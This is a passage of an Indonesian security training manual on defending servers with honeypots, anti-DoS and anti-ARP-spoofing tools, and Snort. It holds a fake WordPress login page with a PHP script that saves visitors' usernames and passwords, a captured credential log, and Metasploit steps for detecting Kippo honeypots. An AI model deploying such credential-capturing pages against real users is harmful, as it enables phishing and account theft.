IMAP (0)	24/09/2016 - 17:26:51	192.168.1.102	192.168.1.127	kurniawan	baseball	https://192.168.1.102/

Password bisa didapatkan oleh attacker, jika target tetap meneruskan koneksi yang tidak dapat dipercaya.

24/09/2016 - 17:28:58	192.168.1.102	192.168.1.127	kurniawan	baseball	https://192.168.1.102/

45.8 Mengamankan login wordpress dari serangan brute force

Mengamankan web wordpress dengan BruteProtect

Install Plugin dan aktifkan

BruteProtect aktif

Saat dilakukan serangan brute force lagi, hasilnya seperti di atas

45.9 Honeypot web

Honeypot adalah suatu perangkap untuk menjebak atau menangkal usaha-usaha penggunaan akses ilegal masuk dalam situs system atau bisa juga sebuah sistem atau komputer yang sengaja dijadikan umpan sebagai target serangan.

Di sini apa yang dilakuian attacker dimonitor dengan log.

Dalam Web honeypot dalam bentuk akses login

Membangun honeypot web

```
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>website &lsaquo; Log In</title>
<link rel='dns-prefetch' href='//s.w.org' />
ink rel='stylesheet' href='http://192.168.1.102/wordpress2/wp-admin/load-styles.php?c=0&amp;di
eta name='robots' content='noindex,follow' />
</head>
<body class="login login-action-login wp-core-ui  locale-en-us">
    <div id="login">
    <h1><a href="https://wordpress.org/" title="Powered by WordPress" tabindex="-1">website</

orm name="loginform" id="loginform" action="wpsimpan.php" method="post">
<p>
    <label for="user_login">Username or Email<br />
    <input type="text" name="log" id="user_login" class="input" value="" size="20" /></label
</p>
<p>
    <label for="user_pass">Password<br />
    <input type="password" name="pwd" id="user_pass" class="input" value="" size="20" /></lab
</p>
    <p class="forgetmenot"><label for="rememberme"><input name="rememberme" type="checkbox" i
```

Source code wpsimpan.php :

```
<?php $file = "wordpress.txt";

$username = $_POST['log'];

$password = $_POST['pwd'];

$ip = $_SERVER['REMOTE_ADDR'];

$today = date("F j, Y, g:i a");


$handle = fopen($file, 'a');

fwrite($handle, "+++++++++++++++++++++++++++++++++++++++++++++++++++ ++");

fwrite($handle, "\n");

fwrite($handle, "Email: ");

fwrite($handle, "$username");

fwrite($handle, "\n");

fwrite($handle, "Password: ");

fwrite($handle, "$password");

fwrite($handle, "\n");

fwrite($handle, "IP Address: ");

fwrite($handle, "$ip");

fwrite($handle, "\n");

fwrite($handle, "Date Submitted: ");

fwrite($handle, "$today");

fwrite($handle, "\n");

fwrite($handle, "+++++++++++++++++++++++++++++++++++++++++++++++++++ ++");
```

```
fwrite($handle, "\n");
fwrite($handle, "\n");
fclose($handle);
echo "<script LANGUAGE=\"JavaScript\">
<!--
window.location=\"http://192.168.1.102/wordpress2/wp-login.php\";
// -->
</script>";
?>
```

Untuk Melihat hasilnya di wordpress.txt

Cari plugin easy hide login

Install

Easy Hide login aktif

Saat attacker tidak dapat mengakses wp-login.php dan wp-admin.php maka mereka bisa terjebak di login.php

Jika ingin dikembangkan lagi

```
<?php $file = "wordpress.txt";

$username = $_POST['log'];

$password = $_POST['pwd'];
```

```
$ip = $_SERVER['REMOTE_ADDR'];
date_default_timezone_set('Asia/Jakarta');
$today = date("F j, Y, g:i a");

$handle = fopen($file, 'a');
fwrite($handle,
"+++++++++++++++++++++++++++++++++++++++++++++++++ ++");
fwrite($handle, "\n");
fwrite($handle, "Email: ");
fwrite($handle, "$username");
fwrite($handle, "\n");
fwrite($handle, "Password: ");
fwrite($handle, "$password");
fwrite($handle, "\n");
fwrite($handle, "IP Address: ");
fwrite($handle, "$ip");
fwrite($handle, "\n");
fwrite($handle, "Date Submitted: ");
fwrite($handle, "$today");
fwrite($handle, "\n");
fwrite($handle,
"+++++++++++++++++++++++++++++++++++++++++++++++++ ++");
fwrite($handle, "\n");
fwrite($handle, "\n");
fclose($handle);

if($username=="admin" AND $password=="baseball")
    {
        header("location:admin.php");
    }else{
        header("location:login.php");
    }

?>
```

Bangun halaman palsu

Copy

```
<!DOCTYPE html>
<!--[if IE 8]>
<html xmlns="http://www.w3.org/1999/xhtml" class="ie8 wp-toolbar"  lang="en-US">
<![endif]-->
<!--[if !(IE 8) ]><!-->
<html xmlns="http://www.w3.org/1999/xhtml" class="wp-toolbar"  lang="en-US">
<!--<![endif]-->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Dashboard &lsaquo; website &#8212; WordPress</title>
<script type="text/javascript">
addLoadEvent = function(func){if(typeof jQuery!="undefined")jQuery(document).read
var ajaxurl = '/wordpress2/wp-admin/admin-ajax.php',
    pagenow = 'dashboard',
    typenow = '',
    adminpage = 'index-php',
    thousandsSeparator = ',',
    decimalPoint = '.',
    isRtl = 0;
</script>
<meta name="viewport" content="width=device-width,initial-scale=1.0">
```

Paste di notepad++ lalu simpan jadi file admin.php

Materi sisipan

PHPMyadmin Honeypot

A simple and effective phpmyadmin honeypot

Download : https://github.com/gfoss/phpmyadmin_honeypot

```
root@kalibr:/var/www/html# git clone https://github.com/gfoss/phpmyadmin_honeypot.git
Cloning into 'phpmyadmin_honeypot'...
remote: Counting objects: 83, done.
remote: Total 83 (delta 0), reused 0 (delta 0), pack-reused 83
Unpacking objects: 100% (83/83), done.
root@kalibr:/var/www/html# ls
abc.doc                 coba.docm    index.html                ngeroot              sales.doc  xx.doc
bashscanner-master.zip  cowroot      index.nginx-debian.html   pakmuda.doc          shellcomm
cewek.exe               filerhs.doc  msf.doc                   phpmyadmin_honeypot  win10.py
root@kalibr:/var/www/html# cd phpmyadmin_honeypot/
root@kalibr:/var/www/html/phpmyadmin_honeypot# ls
LICENSE  README.md  install.sh  phpmyadmin-email  phpmyadmin-interactive
root@kalibr:/var/www/html/phpmyadmin_honeypot# mv phpmyadmin-interactive phpmyadmin
root@kalibr:/var/www/html/phpmyadmin_honeypot# cd phpmyadmin
```

Di root web (/var/www/html)

git hub https://github.com/gfoss/phpmyadmin_honeypot.git

cd phpmyadmin_honeypot

mv phpmyadmin-interactive phpmyadmin

```
root@kalibr:/var/www/html/phpmyadmin_honeypot# cp -r phpmyadmin ../
root@kalibr:/var/www/html/phpmyadmin_honeypot# cd ..
root@kalibr:/var/www/html# ls
abc.doc                 coba.docm    index.html                ngeroot      phpmyadmin_honeypot  win10.py
bashscanner-master.zip  cowroot      index.nginx-debian.html   pakmuda.doc  sales.doc            xx.doc
cewek.exe               filerhs.doc  msf.doc                   phpmyadmin   shellcomm
root@kalibr:/var/www/html# service apache2 start
root@kalibr:/var/www/html# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.223  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::a00:27ff:feb9:ce2a  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:b9:ce:2a  txqueuelen 1000  (Ethernet)
        RX packets 39112  bytes 41684703 (39.7 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 39629  bytes 7056626 (6.7 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
        device interrupt 10  base 0xd020
```

cp -r phpmyadmin ../

cd ..

service apache2 start

Jangan lupa sesuaikan hak akses untuk log.txt

Jika dijalankan seperti di atas, akan muncul halaman phpmyadmin

Misal ada yang login

Hasilnya ERROR seperti di atas

Di /var/www/html/phpmyadmin ada log nya, bisa dilihat

Ketik : cat log.txt lalu enter, hasilnya bisa dilihat di atas.

Saran pribadi adalah ganti log.txt dengan nama file lain dengan cara mengubah source code nya.

45.10 Pengamanan Web Server dari serangan DoS Slowloris dengan menggunakan Antiloris

Mod_antoloris : With this module, apache is protected against the slowloris attack. The module limits the number of threads in READ state on a per IP basis.

Sumber : https://sourceforge.net/projects/mod-antiloris/

```
root@ubuntufresh:/# apt-get install apache2-threaded-dev
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  apache2 apache2-mpm-prefork apache2.2-bin apache2.2-common comerr-dev
  krb5-multidev libapr1-dev libaprutil1-dev libgssrpc4 libkadm5clnt-mit8
  libkadm5srv-mit8 libkdb5-6 libkrb5-dev libldap-2.4-2 libldap2-dev
  libmysqlclient-dev libmysqlclient18 libpcre3-dev libpcrecpp0 libpq-dev
  libpq5 libsqlite3-dev libssl-dev libssl-doc libssl1.0.0 mysql-common
  uuid-dev zlib1g-dev
Suggested packages:
  apache2-doc apache2-suexec apache2-suexec-custom doc-base krb5-doc krb5-user
  postgresql-doc-9.1 sqlite3-doc
```

```
The following NEW packages will be installed:
  apache2-threaded-dev comerr-dev krb5-multidev libapr1-dev libaprutil1-dev
  libgssrpc4 libkadm5clnt-mit8 libkadm5srv-mit8 libkdb5-6 libkrb5-dev
  libldap2-dev libmysqlclient-dev libpcre3-dev libpcrecpp0 libpq-dev libpq5
  libsqlite3-dev libssl-dev libssl-doc uuid-dev zlib1g-dev
The following packages will be upgraded:
  apache2 apache2-mpm-prefork apache2.2-bin apache2.2-common libldap-2.4-2
  libmysqlclient18 libssl1.0.0 mysql-common
8 upgraded, 21 newly installed, 0 to remove and 112 not upgraded.
Need to get 13.2 MB of archives.
After this operation, 32.1 MB of additional disk space will be used.
Do you want to continue [Y/n]? y
Get:1 http://old-releases.ubuntu.com/ubuntu/ raring-updates/main libssl1.0.0
6 1.0.1c-4ubuntu8.2 [1,008 kB]
3% [1 libssl1.0.0 358 kB/1,008 kB 36%]
```

```
Setting up libkrb5-dev (1.10.1+dfsg-4+nmu1) ...
Setting up libpq-dev (9.1.11-0ubuntu0.13.04) ...
Setting up libmysqlclient-dev (5.5.34-0ubuntu0.13.04.1) ...
Setting up libaprutil1-dev (1.4.1-3) ...
Setting up apache2-threaded-dev (2.2.22-6ubuntu5.1) ...
Setting up libssl-doc (1.0.1c-4ubuntu8.2) ...
Processing triggers for libc-bin ...
ldconfig deferred processing now taking place
root@ubuntufresh:/#
```

apt-get install apache2-threaded-dev

cd /usr/local/src

wget http://sourceforge.net/projects/mod-antiloris/files/mod_antiloris-0.4.tar.bz2

tar -xvjf mod_antiloris-0.4.tar.bz2

```
root@ubuntufresh:/usr/local/src# cd mod_antiloris-0.4/
root@ubuntufresh:/usr/local/src/mod_antiloris-0.4# ls
ChangeLog  mod_antiloris.c
root@ubuntufresh:/usr/local/src/mod_antiloris-0.4# apxs2 -a -i -c mod_antiloris.
c
Use of uninitialized value $includedir in concatenation (.) or string at (eval 9
) line 1.
/usr/share/apr-1.0/build/libtool --silent --mode=compile --tag=disable-static i6
86-linux-gnu-gcc -prefer-pic -D_FORTIFY_SOURCE=2 -D_GNU_SOURCE -D_LARGEFILE64_SO
URCE -D_REENTRANT -I/usr/include -I/usr/include/apr-1.0 -I/usr/include/openssl -
I/usr/include/xmltok -pthread  -D_FORTIFY_SOURCE=2 -D_GNU_SOURCE -D_LARGEFILE64_
SOURCE -D_REENTRANT -I -I. -I/usr/include -I/usr/include/apr-1.0     -I/usr/incl
ude/apache2  -I/usr/include/apr-1.0   -I/usr/include/apr-1.0 -I/usr/include  -c
-o mod_antiloris.lo mod_antiloris.c && touch mod_antiloris.slo
/usr/share/apr-1.0/build/libtool --silent --mode=link --tag=disable-static i686-
linux-gnu-gcc -Wl,--as-needed -Wl,-Bsymbolic-functions -Wl,-z,relro   -o mod_ant
iloris.la  -rpath /usr/lib/apache2/modules -module -avoid-version    mod_antilor
is.lo
/usr/share/apache2/build/instdso.sh SH_LIBTOOL='/usr/share/apr-1.0/build/libtool
' mod_antiloris.la /usr/lib/apache2/modules
/usr/share/apr-1.0/build/libtool --mode=install cp mod_antiloris.la /usr/lib/apa
che2/modules/
libtool: install: cp .libs/mod_antiloris.so /usr/lib/apache2/modules/mod_antilor
is.so
libtool: install: cp .libs/mod_antiloris.lai /usr/lib/apache2/modules/mod_antilo
ris.la
libtool: finish: PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/
bin:/usr/games:/usr/local/games:/sbin" ldconfig -n /usr/lib/apache2/modules
----------------------------------------------------------------------
Libraries have been installed in:
```

cd mod_antiloris-0.4

apxs2 -a -i -c mod_antiloris.c

```
 * Restarting web server apache2
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
 ... waiting apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName

root@ubuntufresh:/usr/local/src/mod_antiloris-0.4#
```

45.11 Instalasi SSH Honeypot

Kippo is a medium-interaction SSH honeypot written in Python. Kippo is used to log brute force attacks and the entire shell interaction performed by an attacker. It is inspired by Kojoney.

Sumber : https://en.wikipedia.org/wiki/Kippo

apt-get update

apt-get upgrade

```
root@ubuntufresh: /home/data
Last login: Fri Sep 23 15:30:09 2016
data@ubuntufresh:~$ sudo su
[sudo] password for data:
root@ubuntufresh:/home/data# apt-get install python-dev openssl python-openssl p
ython-pyasn1 python-twisted
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  binutils cpp cpp-4.7 gcc gcc-4.7 libc-dev-bin libc6 libc6-dev libcloog-ppl1
  libexpat1-dev libgcc-4.7-dev libgmp10 libgmpxx4ldbl libgomp1 libitm1 libmpc2
  libmpfr4 libppl-c4 libppl12 libpython-dev libpython2.7 libpython2.7-dev
  libpython2.7-minimal libpython2.7-stdlib libquadmath0 linux-libc-dev
  manpages-dev python-crypto python-twisted-conch python-twisted-lore
  python-twisted-mail python-twisted-names python-twisted-news
  python-twisted-runner python-twisted-web python-twisted-words python2.7
```

```
  python-twisted python-twisted-conch python-twisted-lore python-twiste
  python-twisted-names python-twisted-news python-twisted-runner
  python-twisted-web python-twisted-words python2.7-dev
The following packages will be upgraded:
  libc6 libpython2.7 libpython2.7-minimal libpython2.7-stdlib openssl
  python-openssl python2.7 python2.7-minimal
8 upgraded, 36 newly installed, 0 to remove and 120 not upgraded.
Need to get 63.7 MB of archives.
After this operation, 114 MB of additional disk space will be used.
Do you want to continue [Y/n]? y
```

```
Need to get 63.7 MB of archives.
After this operation, 114 MB of additional disk space will be used.
Do you want to continue [Y/n]? y
Get:1 http://old-releases.ubuntu.com/ubuntu/ raring-updates/main libc6 i386 2.17
-0ubuntu5.1 [4,033 kB]
5% [1 libc6 2,939 kB/4,033 kB 73%]                          130 kB/s 7min 46s
```

```
Setting up cpp (4:4.7.3-1ubuntu10) ...
Setting up libgcc-4.7-dev:i386 (4.7.3-1ubuntu1) ...
Setting up gcc-4.7 (4.7.3-1ubuntu1) ...
Setting up gcc (4:4.7.3-1ubuntu10) ...
Setting up libpython-dev:i386 (2.7.4-0ubuntu1) ...
Setting up manpages-dev (3.44-0ubuntu1) ...
Setting up python-crypto (2.6-4) ...
Setting up python2.7-dev (2.7.4-2ubuntu3.2) ...
Setting up python-dev (2.7.4-0ubuntu1) ...
Setting up python-openssl (0.13-2ubuntu3.1) ...
Setting up python-pyasn1 (0.1.4-0ubuntu1) ...
Setting up python-twisted-web (12.3.0-1) ...
Setting up python-twisted-lore (12.3.0-1) ...
Setting up python-twisted-mail (12.3.0-1) ...
Setting up python-twisted-names (12.3.0-1) ...
Setting up python-twisted-news (12.3.0-1) ...
Setting up python-twisted-runner (12.3.0-1) ...
Setting up python-twisted-words (12.3.0-1) ...
Setting up python-twisted-conch (1:12.3.0-1) ...
Processing triggers for python-twisted-core ...
Setting up python-twisted (12.3.0-1ubuntu6) ...
Processing triggers for libc-bin ...
ldconfig deferred processing now taking place
root@ubuntufresh:/home/data#
```

apt-get install python-dev openssl python-openssl python-pyasn1 python-twisted

```
root@ubuntufresh:/home/data# apt-get install subversion
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  libneon27-gnutls libserf1 libsvn1
Suggested packages:
  subversion-tools db5.1-util
The following NEW packages will be installed:
  libneon27-gnutls libserf1 libsvn1 subversion
0 upgraded, 4 newly installed, 0 to remove and 120 not upgraded.
Need to get 1,517 kB of archives.
After this operation, 4,314 kB of additional disk space will be used.
Do you want to continue [Y/n]?
```

```
Fetched 1,517 kB in 35s (42.3 kB/s)
Selecting previously unselected package libserf1:i386.
(Reading database ... 63906 files and directories currently installed.
Unpacking libserf1:i386 (from .../libserf1_1.1.0-2_i386.deb) ...
Selecting previously unselected package libneon27-gnutls.
Unpacking libneon27-gnutls (from .../libneon27-gnutls_0.29.6-3_i386.de
Selecting previously unselected package libsvn1:i386.
Unpacking libsvn1:i386 (from .../libsvn1_1.7.5-1ubuntu3.1_i386.deb) ..
Selecting previously unselected package subversion.
Unpacking subversion (from .../subversion_1.7.5-1ubuntu3.1_i386.deb) .
Processing triggers for man-db ...
Setting up libserf1:i386 (1.1.0-2) ...
Setting up libneon27-gnutls (0.29.6-3) ...
Setting up libsvn1:i386 (1.7.5-1ubuntu3.1) ...
Setting up subversion (1.7.5-1ubuntu3.1) ...
Processing triggers for libc-bin ...
ldconfig deferred processing now taking place
root@ubuntufresh:/home/data#
```

apt-get install subversion

Download kippo-master.zip, caranya bisa menggunakan wget.

```
root@ubuntufresh:/home/data# cd ..
root@ubuntufresh:/home# wget http://192.168.1.9/kippo-master.zip
--2017-02-16 16:59:19--  http://192.168.1.9/kippo-master.zip
Connecting to 192.168.1.9:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 610064 (596K) [application/zip]
Saving to: 'kippo-master.zip'

100%[=====================================>] 610,064     1.58MB/s   in 0.4s

2017-02-16 16:59:20 (1.58 MB/s) - 'kippo-master.zip' saved [610064/610064]

root@ubuntufresh:/home#
```

Di kelas training, ketik : wget http://192.168.1.9/kippo-master.zip

```
root@ubuntufresh:/home# useradd -d /home/kippo-master -s /bin/bash -m kippo-mast
er -g sudo
root@ubuntufresh:/home# su kippo-master
kippo-master@ubuntufresh:/home$ unzip kippo-master.zip
Archive:  kippo-master.zip
4999618f476ffa3be5e2be88ea11519ab4a86d87
  inflating: kippo-master/.gitignore
  inflating: kippo-master/README.md
   creating: kippo-master/data/
 extracting: kippo-master/data/userdb.txt
   creating: kippo-master/dl/
 extracting: kippo-master/dl/.gitignore
   creating: kippo-master/doc/
  inflating: kippo-master/doc/COPYRIGHT
  inflating: kippo-master/doc/README
   creating: kippo-master/doc/sql/
```

Membuat user

useradd -d /home/kippo-master -s /bin/bash -m kippo-master -g sudo

Menggunakan user kippo-master

su kippo-master

Extract file kippo-master.zip

unzip kippo-master.zip

```
  inflating: kippo-master/txtcmds/usr/sbin/vipw
   creating: kippo-master/utils/
  inflating: kippo-master/utils/convert32.py
  inflating: kippo-master/utils/createfs.py
  inflating: kippo-master/utils/fsctl.py
  inflating: kippo-master/utils/passdb.py
  inflating: kippo-master/utils/playlog.py
kippo-master@ubuntufresh:/home$ cd kippo-master
kippo-master@ubuntufresh:~$ pwd
/home/kippo-master
kippo-master@ubuntufresh:~$ ls
data  doc        honeyfs  kippo.cfg.dist  log        start.sh  txtcmds
dl    fs.pickle  kippo    kippo.tac       README.md  stop.sh   utils
kippo-master@ubuntufresh:~$ mv kippo.cfg.dist kippo.cfg
kippo-master@ubuntufresh:~$ ./start.sh
twistd (the Twisted daemon) 12.3.0
Copyright (c) 2001-2012 Twisted Matrix Laboratories.
See LICENSE for details.
Starting kippo in the background...
Generating new RSA keypair...
Done.
Generating new DSA keypair...
Done.
kippo-master@ubuntufresh:~$
```

cd kippo-master

mv kippo.cfg.dist kippo.cfg

```
kippo-master@ubuntufresh:~$
kippo-master@ubuntufresh:~$ nano kippo.cfg
```

nano kippo.cfg

```
  GNU nano 2.2.6              File: kippo.cfg

#
# Kippo configuration file (kippo.cfg)
#

[honeypot]

# IP addresses to listen for incoming SSH connectio
#
# (default: 0.0.0.0) = any address
#ssh_addr = 0.0.0.0

# Port to listen for incoming SSH connections.
#
# (default: 2222)
ssh_port = 2222

# Hostname for the honeypot. Displayed by the shell
# environment.
```

Default nya port 2222

Ctrl + x untuk keluar

```
kippo-master@ubuntufresh:~$ ./start.sh
twistd (the Twisted daemon) 12.3.0
Copyright (c) 2001-2012 Twisted Matrix Laboratories.
See LICENSE for details.
Starting kippo in the background...
Generating new RSA keypair...
Done.
Generating new DSA keypair...
Done.
kippo-master@ubuntufresh:~$
```

Ketik : ./start.sh

Lakukan koneksi ke port 2222 (SSH) dengan putty

Username root

Password 123456

Jika ingin menggunakan port 22 :

```
root@ubuntufresh:/home# echo 1 > /proc/sys/net/ipv4/ip_forward
root@ubuntufresh:/home# iptables -t nat -A PREROUTING -p tcp --destination-port
22 -j REDIRECT --to-port 2222
```

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p tcp --destination-port 22 -j REDIRECT --to-port 2222

```
root@ubuntufresh:/home# cd /etc
root@ubuntufresh:/etc# cd ssh
root@ubuntufresh:/etc/ssh# ls
moduli        ssh_host_dsa_key       ssh_host_ecdsa_key.pub  ssh
ssh_config    ssh_host_dsa_key.pub   ssh_host_rsa_key
sshd_config   ssh_host_ecdsa_key     ssh_host_rsa_key.pub
root@ubuntufresh:/etc/ssh# nano sshd_config
```

cd /etc

cd ssh

nano sshd_config

```
root@ubuntufresh:
  GNU nano 2.2.6              File: sshd_config

# Package generated configuration file
# See the sshd_config(5) manpage for details

# What ports, IPs and protocols we listen for
Port 24
# Use these options to restrict which interfac
#ListenAddress ::
#ListenAddress 0.0.0.0
Protocol 2
# HostKeys for protocol version 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key
HostKey /etc/ssh/ssh_host_ecdsa_key
#Privilege Separation is turned on for securit
```

Ganti dari 22 misal ke 24

Simpan lalu restart SSH nya

```
root@ubuntufresh:/etc/ssh# service ssh restart
ssh stop/waiting
ssh start/running, process 7717
root@ubuntufresh:/etc/ssh#
```

service ssh restart

SSH Honeypot port 22

Hasil setelah login

Cara mendeteksi kippo SSH Honeypot di jaringan

```
       =[ metasploit v4.11.5-2016010401                   ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post         ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops              ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > search kippo
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                                  Disclosure Date  Rank    Description
   ----                                  ---------------  ----    -----------
   auxiliary/scanner/ssh/detect_kippo                     normal  Kippo SSH Honeyp
ot Detector
```

search kippo

```
msf > use auxiliary/scanner/ssh/detect_kippo
msf auxiliary(detect_kippo) > show options

Module options (auxiliary/scanner/ssh/detect_kippo):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target address range or CIDR identifi
er
   RPORT    22               yes       The target port
   THREADS  1                yes       The number of concurrent threads

msf auxiliary(detect_kippo) > set RHOSTS 192.168.1.102
RHOSTS => 192.168.1.102
msf auxiliary(detect_kippo) > exploit

[+] 192.168.1.102:22 - Kippo detected!
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(detect_kippo) >
```

use auxiliary/scanner/ssh/detect_kippo

set RHOSTS 192.168.1.102

exploit

Jika muncul pesan Kippo detected maka ada kippo ssh honeypot di server tersebut

Contoh server yang tidak memiliki kippo saat di eksploitasi

```
msf auxiliary(detect_kippo) > set RHOSTS 192.168.1.165
RHOSTS => 192.168.1.165
msf auxiliary(detect_kippo) > exploit

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(detect_kippo) >
```

45.12 Menangkal ARP Spoofing dengan ARPON

ArpON (ARP handler inspection) is a Host-based solution that make the ARP standardized protocol secure in order to avoid the Man In The Middle (MITM) attack through the ARP spoofing, ARP cache poisoning or ARP poison routing attack.

Sumber : http://arpon.sourceforge.net/

Langkah 1 :

```
root@ubuntufresh:/# sudo apt-get install arpon
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  libdumbnet1 libnet1
The following NEW packages will be installed:
  arpon libdumbnet1 libnet1
0 upgraded, 3 newly installed, 0 to remove and 120 not upgraded.
Need to get 298 kB of archives.
After this operation, 616 kB of additional disk space will be used.
Do you want to continue [Y/n]? y
```

```
Selecting previously unselected package libnet1.
Unpacking libnet1 (from .../libnet1_1.1.4-2.1build1_i386
Selecting previously unselected package arpon.
Unpacking arpon (from .../arpon_2.0-2.1_i386.deb) ...
Processing triggers for man-db ...
Processing triggers for ureadahead ...
ureadahead will be reprofiled on next reboot
Setting up libdumbnet1 (1.12-3.1) ...
Setting up libnet1 (1.1.4-2.1build1) ...
Setting up arpon (2.0-2.1) ...
 * arpon disabled, please adjust the configuration to yo
 * and then set RUN to 'yes' in /etc/default/arpon to en
Processing triggers for libc-bin ...
ldconfig deferred processing now taking place
Processing triggers for ureadahead ...
root@ubuntufresh:/#
```

sudo apt-get update

sudo apt-get install arpon

Langkah 2 :

```
root@ubuntufresh:/# cd /etc/default/
root@ubuntufresh:/etc/default# nano arpon
```

sudo nano /etc/default/arpon

```
  GNU nano 2.2.6                File: arpon

# Defaults for arpon initscript
# sourced by /etc/init.d/arpon
# installed at /etc/default/arpon by the maintainer scripts


# You must choose between static ARP inspection (SARPI) and
# dynamic ARP inspection (DARPI)
#
# For SARPI uncomment the following line (please edit also /e
# DAEMON_OPTS="-q -f /var/log/arpon/arpon.log -g -s"

# For DARPI uncomment the following line
DAEMON_OPTS="-q -f /var/log/arpon/arpon.log -g -d"

# Modify to RUN="yes" when you are ready
RUN="yes"
```

Uncomment pada DAEMON_OPTS="-q -f /var/log/arpon/arpon.log -g -d"

Lalu pada RUN set yes

RUN="yes"

Langkah 3 :

```
root@ubuntufresh:/etc/default# sudo /etc/init.d/arpon restart
 * Restarting anti ARP poisoning daemon arpon
  16:39:27 - Task is forking to background, using /var/run/arpon.pid pid file...

                                                                        [ OK ]
root@ubuntufresh:/etc/default#
```

sudo /etc/init.d/arpon restart

Materi sisipan

Pengamanan dengan penggunaan billing hotspot dari mikrotik

Di cain muncul seperti di atas

Di nmap juga sama

Semua mac sama saat akan dilakukan ARP Spoofing

Saat dipaksakan, hasilnya password tidak tertangkap

Jika menggunakan netcut, hasilnya komputer target melambat intenetnya, putus-putus pingnya.

45.13 Instalasi Snort untuk mendeteksi koneksi tertentu ke server

What is Snort?

It is an open source intrusion prevention system capable of real-time traffic analysis and packet logging.

Sumber : http:// snort.org

```
root@ubuntufresh:/# apt-get install snort
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  libdaq0 libencode-locale-perl libfile-listing-perl libfont-afm-perl
  libhtml-form-perl libhtml-format-perl libhtml-parser-perl
  libhtml-tagset-perl libhtml-tree-perl libhttp-cookies-perl
  libhttp-daemon-perl libhttp-date-perl libhttp-message-perl
  libhttp-negotiate-perl libio-socket-inet6-perl libio-socket-ssl-perl
  libltdl7 liblwp-mediatypes-perl liblwp-protocol-https-perl libmailtools-perl
  libnet-http-perl libnet-ssleay-perl libprelude2 libsocket6-perl liburi-perl
  libwww-perl libwww-robotrules-perl oinkmaster snort-common
  snort-common-libraries snort-rules-default
Suggested packages:
  libdata-dump-perl libcrypt-ssleay-perl libauthen-ntlm-perl snort-doc
The following NEW packages will be installed:
```

```
  libhtml-tagset-perl libhtml-tree-perl libhttp-cookies-perl
  libhttp-daemon-perl libhttp-date-perl libhttp-message-perl
  libhttp-negotiate-perl libio-socket-inet6-perl libio-socket-ssl-perl
  libltdl7 liblwp-mediatypes-perl liblwp-protocol-https-perl libmailtools-
  libnet-http-perl libnet-ssleay-perl libprelude2 libsocket6-perl liburi-p
  libwww-perl libwww-robotrules-perl oinkmaster snort snort-common
  snort-common-libraries snort-rules-default
0 upgraded, 32 newly installed, 0 to remove and 120 not upgraded.
Need to get 3,457 kB of archives.
After this operation, 15.0 MB of additional disk space will be used.
Do you want to continue [Y/n]? y
```

Configuring snort :

192.168.1.0/24

```
Setting up libhtml-tree-perl (5.02-1) ...
Setting up libhtml-format-perl (2.10-1) ...
Setting up libhttp-cookies-perl (6.00-2) ...
Setting up libhttp-daemon-perl (6.01-1) ...
Setting up libhttp-negotiate-perl (6.00-2) ...
Setting up libsocket6-perl (0.23-1build3) ...
Setting up libio-socket-inet6-perl (2.69-2) ...
Setting up libnet-ssleay-perl (1.48-1) ...
Setting up libio-socket-ssl-perl (1.76-2ubuntu1) ...
Setting up libnet-http-perl (6.03-2) ...
Setting up libwww-robotrules-perl (6.01-1) ...
Setting up libmailtools-perl (2.09-1) ...
Setting up liblwp-protocol-https-perl (6.03-1) ...
Setting up libwww-perl (6.04-1) ...
Setting up oinkmaster (2.0-4) ...
Processing triggers for libc-bin ...
ldconfig deferred processing now taking place
Processing triggers for ureadahead ...
root@ubuntufresh:/#
```

apt-get install snort

cd /etc/snort

nano snort.conf

```
root@ubuntufresh:/# cd /etc
root@ubuntufresh:/etc# cd snort
root@ubuntufresh:/etc/snort# ls
classification.config  gen-msg.map       snort.conf         unicode.map
community-sid-msg.map  reference.config  snort.debian.conf
database.conf          rules             threshold.conf
root@ubuntufresh:/etc/snort# nano snort.conf
```

```
##################################################
# Step #7: Customize your rule set
# For more information, see Snort Manual, Writing Snort Rules
#
# NOTE: All categories are enabled in this conf file
##################################################

# Note for Debian users: The rules preinstalled in the system
# can be *very* out of date. For more information please read
# the /usr/share/doc/snort-rules-default/README.Debian file

# site specific rules
#include $RULE_PATH/local.rules

^G Get Help   ^O WriteOut   ^R Read File ^Y Prev Page ^K Cut Text   ^C Cur
^X Exit       ^J Justify    ^W Where Is  ^V Next Page ^U UnCut Text^T To
```

Matikan semua rules dengan memberi tanda #

Masukkan :

```
  GNU nano 2.2.6              File: sr

#include $RULE_PATH/web-attacks.rules
#include $RULE_PATH/community-sql-inje
#include $RULE_PATH/community-web-clie
#include $RULE_PATH/community-web-dos.
#include $RULE_PATH/community-web-iis.
#include $RULE_PATH/community-web-misc
#include $RULE_PATH/community-web-php.
#include $RULE_PATH/web-attacks.rules
#include $RULE_PATH/community-sql-inje
#include $RULE_PATH/community-web-clie
